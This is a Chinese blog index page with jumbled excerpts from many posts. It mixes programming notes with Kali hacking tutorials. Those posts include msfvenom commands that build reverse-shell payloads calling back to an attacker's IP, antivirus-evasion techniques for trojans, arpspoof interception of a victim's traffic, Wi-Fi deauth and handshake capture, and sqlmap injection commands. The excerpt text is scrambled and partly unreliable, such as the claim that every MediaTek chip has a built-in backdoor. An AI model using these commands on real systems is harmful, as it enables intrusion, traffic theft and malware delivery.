2401_85233504的博客

原创 JavaScript正则表达式自笔记

这个例子就是说明是，在全局变量中检测的时候，可以，匹配所有的字符串，而ct+，底层意思就是ctttttt，ct，ctt这些后面带多个t的就相当于是加号，总体总结:大白话，匹配全局中ct，所有后面ct后带t的！举个例子，如一段， 文本当中有很多日期，我们想要把年月日提取出来，那么，就可以创建三个分组用来存，年，月，日，然后在后面的处理中就可以引用，捕获到的内容，首先全局中，需要先有日期，才行，开写！相当于意思是:把ct，可以看成3个，可以分为c，t，ct，cttt，ctttt，在全局中，匹配这个字符串！

原创 写一个URL分析，正则表达式

练习一下基本功扎不扎实？

原创 Python---mtkclient的BROM底层漏洞

这个漏洞不是软件bug，是联发科CPU出厂就焊死在硬件里的底层缺陷，系统OTA、厂商补丁永远修不掉，只要是 MTK/天玑/Helio 芯片，天生自带后门。mtkclient 就是用 Python 操控联发科 CPU 的硬件级后门（BROM漏洞），无视厂商所有软件锁，直接在芯片底层给手机“开上帝权限”。👉 关键：只要进入 BROM 模式，厂商的 BL 锁、SELinux、系统安全策略全部直接失效，手机等于“裸奔”，直接和CPU硬件对话。1. 硬件固化：BROM 在 CPU 硅片里，厂商改不了。

原创 手机BROM模式是什么？(极客玩机级)

此时手机不进系统、不进fastboot，直接进入CPU底层BROM模式，电脑识别为BROM设备。BROM是所有东西的祖宗，是开机的第一步，没有它手机根本开不了机。人话来说：BROM模式=手机CPU出厂焊死的「第一级启动系统」99.99%的危险概率手机会废.所以基本很多人连这个都不知道。没有，这个完全开不了机，第一道关卡都过不了！1. BROM（最底层，硬件级，焊死在CPU里）3. Bootloader（BL锁，厂商锁）2. Preloader（预加载器）2. 同时按住音量上+音量下。不要了解，更不要实战！

原创 做一个电脑版爬虫程序

ttk.Radiobutton(frame2, text="下载图片 (存入文件夹)", variable=self.mode_var, value="image").grid(row=0, column=2, sticky="w")ttk.Radiobutton(frame2, text="提取文本 (存为CSV)", variable=self.mode_var, value="text").grid(row=0, column=1, sticky="w")self.log(f"✅ 文本提取完毕！

原创 kali怎么制作所有长度的爆破字典

总结：如果你要破解8位纯数字WiFi，直接用hashcat -a 3?在Kali中生成“所有长度”的爆破字典（如1-8位所有组合）需要谨慎：仅限用于破解自有设备的密码或授权渗透测试。对于8位大小写字母+数字的组合，文件大小将超过1000TB，不切实际，因此需采用按需生成或动态生成的策略。使用crunch配合|管道，或使用john的--stdout和--pipe参数，让字典生成器与破解程序同时运行。# 生成1-8位纯数字（约1亿条），直接通过管道使用。· 限制长度：WPA2密码至少8位，8-10位已足够。

原创 kali 免杀木马

原理：编写一个加载器（C/Python/PowerShell），将Shellcode用XOR或AES加密后存放在数据段。· 原理：用 upx、Veil-Evasion 或 Shellter 给已知木马（如msfvenom生成的payload）套壳，改变其文件特征。· 没有永久免杀：主流杀毒（卡巴、360、Defender）的云查杀和行为分析很强，几分钟到几小时就会入库。· 原理：找到带有效数字签名的白文件（如某公司驱动），利用其加载你编写的恶意DLL（DLL侧加载）。免杀的核心是破坏这两种检测逻辑。

原创 kali arp欺骗

ARP欺骗（ARP Spoofing）的核心是伪造网关与目标设备的MAC地址映射，让流量经过你的Kali主机。常用参数替换：-i eth0（你的网卡），-t 192.168.1.100（受害者），192.168.1.1（网关）。sudo arpspoof -i 网卡名 -t 目标IP 网关IP。sudo arpspoof -i 网卡名 -t 网关IP 目标IP。1. 开启IP转发（让目标能正常上网，避免断网）· 窗口1 - 欺骗目标（告诉目标：我是网关）· 窗口2 - 欺骗网关（告诉网关：我是目标）

原创 kali合法情况下破解wifi

3. 扫描Wi-Fi：sudo airodump-ng wlan0mon，找到目标Wi-Fi的 BSSID (MAC) 和 CH (信道)。请仅在自有设备或授权环境测试。sudo airodump-ng -c 信道 --bssid 路由器MAC -w 文件名 wlan0mon。sudo aireplay-ng -0 2 -a 路由器MAC -c 客户端MAC wlan0mon。2. 开启监听模式：sudo airmon-ng start wlan0，生成 wlan0mon。成功率关键：密码必须在字典中。

原创 kali msf生成命令

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -f elf -o payload.elf。msfvenom -p osx/x86/shell_reverse_tcp LHOST=你的IP LPORT=你的端口 -f macho -o payload.macho。msfvenom -p python/meterpreter/reverse_tcp LHOST=你的IP LPORT=你的端口 -o payload.py。

原创 Google语法

intitle: / allintitle:：查找关键词出现在网页标题 (<title>) 中的页面。· location:：在Google News（新闻）中，搜索特定地点的相关新闻。· before: / after:：查找在特定日期之前或之后发布的网页。· intext: / allintext:：查找关键词出现在网页正文内容中的页面。· inurl: / allinurl:：查找关键词出现在网页URL链接中的页面。· filetype: / ext:：按特定文件类型进行筛选。

原创 Shodan所有语法

逻辑运算符：country:CN port:3306 (隐式与AND)，country:CN port:22 OR port:3389 (OR)，country:CN -port:80 (NOT)。· 特定日期之前：before:2023-12-31 或 before:31/12/2023。· 特定日期之后：after:2023-01-01 或 after:01/01/2023。· SSL/TLS 证书：ssl:google.com 搜索证书中包含特定域名的。

原创 电脑vm虚拟机kali linux安装shannon

再使用Doctor容器打开shannon就行了。注意:必须要以管理员权限才能打开！提权之后可以用的权限更多，不需要加sudo。首先，打开vm虚拟机Kali进行使用。拉取成功进入，shannon目录。打开之后点击终端，首先提权！命令 sudo su。用于安装doctor容器。再拉取github仓库。

原创 手机版Termux中Firefox浏览器的安装与网络配置指南

在Termux环境中使用Firefox浏览器时，常见的网络问题多源于软件源配置、DNS解析、网络环境适配三大核心环节。本文将基于Linux系统原理，提供纯本地环境下的合规配置方案，帮助解决访问异常、安装失败等问题。说明：8.8.8.8为谷歌公共DNS，112.112.112.112为国内114DNS，可根据网络环境选择适配的DNS服务器。补充：Termux环境下的Firefox为Linux版本，适配ARM架构，可正常使用基础浏览功能，复杂插件可能存在兼容性问题。# 将默认源替换为清华镜像源。

原创 自行总结学习Python中的各类函数用法等等，希望各位大佬程序员点评一下！有不足的地方，希望各位大佬提出来，一起进步！

解释:如果你觉得你写的再把前面可能会被入户稿出现错误，在前面加上try:然后，测试一下模拟用户出现bug错误，在except后面加上错误类型以及:(如果你觉得错误还没有完，害怕这里的情况，可以直接写except:这样可以排除所有可能报错的情况)，如果用户正确输入，后面再加上else，这在下一行写上如果用户输入正确的代码！引入math库中的pi 是一个预定义的常量，代表圆周率的值，即数学常数 π，这里又变换了名字为π然后输出π，这是这两行代码的解释！会返回当前类的父类，所以在纸里的方法里面写上！

原创 计算机网络技术课理解分析

计算机网络的定义的概念:计算机网络就是将分布在不同地理位置，具有独立功能的多台计算机及其外部设备，用通信设备和通信线路连接起来，在网络操作系统和通信协议及网络管理软件的管理协调下，实现资源共享，信息传递的系统！负载均衡的意思:例如一个大型网站，如果用户要访问，不可能全部集中到访问总站的服务器，所以，会让全球各个地区安放不同的服务器，用户访问到的就是最近的服务器！一，防问节点又称端节点，是指拥有，资源的用户设备，起，(信道和信宿起发送端和接收端的作用)，常见的访问节点有用户主机和终端等！

原创 C语言自行整理入门笔记

所以有了这个把专门的，特定的，不是零和一的东西，转化成了零和一，可以用零和一代替！(使用这个东西，后方不需要任何括号之类的但最后面的分号是不是必不可少的)解释:int是类型的意思，main()是主函数=所有代码的起点，使用大括号括起来，等于执行大括号内的内容，大括号里面的内容是，返回值为零！最后一个是从零次方开始的，相当于，十进制每一位数字从右往左依次是十的零次方开始，到最后一个数字结束，然后，依次相加。不过就是乘的数字，十乘的数字是十的几次方，2进制的数字当然也是二的几次方了，其他的都是一样的！

原创 kali sqlmap使用方法

2.Cookie注入sqlmap -u "http://www.example.com/index.php" --cookie="PHPSESSID=123456" --batch。1.POST请求注入sqlmap -u "http://www.example.com/login.php" --data="username=admin&password=123456" --batch。

原创 kali nmap使用方法

例如，使用 vuln 类别的脚本扫描目标：bash复制nmap --script=vuln [目标IP或域名]7.使用脚本扫描:nmap --script [脚本名称或类别] [目标IP或域名]8.保存扫描结果:nmap [扫描选项] [目标IP或域名] > [文件名]3.使用特定端口扫描:nmap -p [端口号] [目标IP或域名]2.扫描一个范围内的主机:nmap [起始IP] -[结束IP]4.进行全端口扫描:nmap -p- [目标IP或域名]1.扫描单个主机:nmap [目标IP或域名]

原创 想学网络技术来这里

原创 网络安全技术有哪些？

网络隔离和分段（Network Segmentation）：将网络划分为多个部分，限制不同部分之间的访问，以减少潜在的攻击面。入侵检测系统（IDS）和入侵防御系统（IPS）：IDS用于检测潜在的恶意活动和安全政策违规，而IPS则可以主动阻止这些活动。端点保护（Endpoint Protection）：保护网络中的每个设备（如电脑、手机等）免受恶意软件和其他威胁的侵害。防火墙（Firewalls）：用于监控和控制进出网络的数据包，根据预设的安全规则来阻止恶意流量。

原创 网络安全领域有哪些热门的认证考试？

是国内权威认证，对国企、政府、军工、8+2行业、国内提供信息安全服务公司的重要条件。被业界称之为“道德黑客认证”，使用与黑客相同的工具，但目的是为了组织的利益和改善。是专门针对Kali Linux渗透测试的专业认证，考试全程采取手动操作的方式。是国内渗透测试领域专业认证，适合渗透测试从业者和网络安全爱好者。被誉为“业界百科全书”的认证，内容覆盖面广、知识点丰富。侧重于信息安全管理，适合信息安全项目管理方面的专业人士。适合从事信息系统审计、控制与安全工作的人士。由国际信息系统审计协会（ISACA）颁发。

原创 黑客技术学习路线图

Kali Linux高级渗透测试：Kali Linux是一个专业的渗透测试平台，学习它的高级功能可以帮助你进行更深入的安全测试。MySQL数据库：数据库安全是网络安全的重要组成部分，了解数据库操作和SQL语言对于发现和利用数据库相关的漏洞很重要。XSS（跨站脚本攻击）：这是一种常见的Web应用安全漏洞，了解其原理和利用方法是必须的。网络安全概念：了解网络安全的基本原则和概念是基础，它帮助你理解安全漏洞的背景和重要性。信息收集：这是渗透测试的第一步，了解如何收集目标信息对于后续的攻击和漏洞利用至关重要。

原创 怎样解决termux杀后台问题？

Android 12及以上用户在使用Termux时，有时会显示[Process completed (signal 9) - press Enter]，这是因为Android 12的PhantomProcesskiller限制了应用的子进程，最大允许应用有32个子进程。利用Android 12的功能，使Termux处于浮窗状态。比如我的IP地址是192.168.0.103:4，我应该输入。记住显示的IP地址和端口，并在浮窗下的Termux内输入。转到设置 --> 系统设置 --> 开发者设置。

原创 黑客常用的搜索引擎有哪些？

4. **Google**：虽然Google是一个通用搜索引擎，但它也提供了许多高级搜索语法，这些语法可以用来搜索特定类型的信息，如文件类型、特定网站内的信息等。9. **Hunter**：Hunter是一个专门用于发现和验证电子邮件地址的搜索引擎和工具，它帮助用户查找公司或域名相关的电子邮件地址，并验证这些地址的有效性。7. **INURLB**：INURLB是一款基于PHP的高级搜索引擎，支持多个搜索引擎和深度web搜索，对渗透测试的信息收集和漏洞评估有重要意义。

原创 至给那些“翻墙”的人要注意了

为了加强对计算机信息网络国际联网的管理，保障国际计算机信息交流的健康发展，我国制定了《中华人民共和国计算机信息网络国际联网管理暂行规定》其中规定了“计算机信息网络直接进行国际联网，必须使用邮电部国家公用电信网提供的国际出入口信道。使用非法VPN“翻墙”是违法的，根据《计算机信息网络国际联网管理暂行规定》计算机联网必需使用国家公用电信网提供的国际出入口信道，不得非法使用其他信道进行国际联网。在国内小网站或电商平台上兜售的VPN都是非法的，因此绝对不要相信卖家宣称的有资质，自己是合法的说法。

原创 lion(狮子)-红客联盟

相信大家第一眼见到的林勇，但他在当时(2001)年，所以说大多数人根本不知道！的时候只会DDOS攻击！黑客的实力无比强大，

原创 手机kali中的sqlmap，有时候用不了，怎么处理？

需要使用加速器才可以继续使用。这是因为sqlmap，扫描等，一系列的操作。

原创 sqlmap的使用说明

u URL，--URL=URL目标URL（例如“http://www.site.com/vuln.php?--cookie=cookie HTTP cookie头值（例如“PHPSESSID=a8d127e..”）--data=data要通过POST发送的数据字符串（例如“id=1”）--level=level要执行的测试级别（1-5，默认为1）-b，--banner检索DBMS banner。--dbms=dbms强制后端dbms提供值。--风险=执行测试的风险（1-3，默认值1）

原创 sqlmap工作原理

确定数据库类型： 一旦SQLMap识别出可能存在SQL注入的参数，它会尝试确定后端数据库的类型。不同的数据库系统（如MySQL、Oracle、SQL Server等）有不同的语法和特性，SQLMap通过发送特定的查询来识别这些特性，从而确定数据库类型。获取数据库信息： 确定数据库类型后，SQLMap会尝试获取数据库的详细信息，包括数据库名、表名、列名等。此外，它还能够根据不同的情况优化其攻击策略。报告和记录： SQLMap会记录整个攻击过程，并生成详细的报告，包括发现的漏洞、提取的数据等信息。

原创 使用pythonturtle库，画一个变形金刚

tleft.forward(110)#消除竖线。tleft.forward(50)#额头竖线。t2.goto(-145,-198)#左脸颊。t.right(73)#五边形的直边。代码自取，不用给作者说!

原创 C++所有头文件

include <strstrea.h>　　　//该类不再支持，改用<sstream>中的stringstream。#include <iomanip.h>　　　 //改用<iomainip>#include <iostream.h>　　　//改用<iostream>#include <cstdlib> 　　　　//定义杂项函数及内存分配函数。#include <fstream.h>　　　 //改用<fstream>#include <cstdio> 　　　　 //定义输入／输出函数。

原创 C语言所有头文件

所有流都具有相似的属性，而与它们所关联的物理介质的各个特征无关。对它们执行输入/输出操作后，它们将变为面向字节的或面向宽的，这取决于所执行的操作（通常，<cstdio>中定义的功能是面向字节的，而<cwchar>中的功能是面向字节的）面向广泛）。这是一个相当中性的语言环境，在所有系统和编译器中都具有相同的设置，因此使用此语言环境的程序的确切结果是可以预测的。在C中，此标头还包括wchar_t类型（宽字符类型）的声明，在C ++中，该声明是一种语言关键字，用于标识不同的基本类型（C ++中不需要标头）。

原创 turtle库画，小猪佩奇

t.pu()t.pd()a=0.4a=a+0.08t.lt(3)t.fd(a)else:a=a-0.08t.lt(3)t.fd(a)t.pu()t.seth(90)t.fd(25)t.seth(0)t.fd(10)t.pd()t.seth(10)t.pu()t.seth(0)t.fd(20)t.pd()t.seth(10)t.pu()t.seth(90)t.fd(41)t.seth(0)t.fd(0)t.pd()t.pu()t.pd()

原创 python库大全解

npyecharts-用于生成 Echarts 图表的类库\npandas-一个强大的分析结构化数据的工具集，基于numpy扩展而来，提供了一批标准的数据模型和大量便捷处理数据的函数和方法。\nPlotly-Plotly提供的图形库可以进行在线WEB交互，并提供具有出版品质的图形，\njieba-中文分词模块\n4.WEB开发\nDjango-一个开放源代码的Web应用框架， 是Python生态中最流行的开源Web应用框架，Django采用模型、模板和视图的编写模式，称为MTV模式。

原创 手机zero termux怎么无(root)安装kali nethunter

注意:等到输入第三条命令的时候打开加速器，不然无法进行后面的命令.请注意...接下来，打开zero termux依次输入命令有停顿的地方y回车即可。点击Documentation，下滑找到kali nethunter。下滑找到NetHunter-Rootless。私下加我QQ3585926179，无偿教会你。搜索kali网址kali.org。有不懂的地方，或者出现错误的地方。首先打开手机自带浏览器。下滑即可找到安装命令。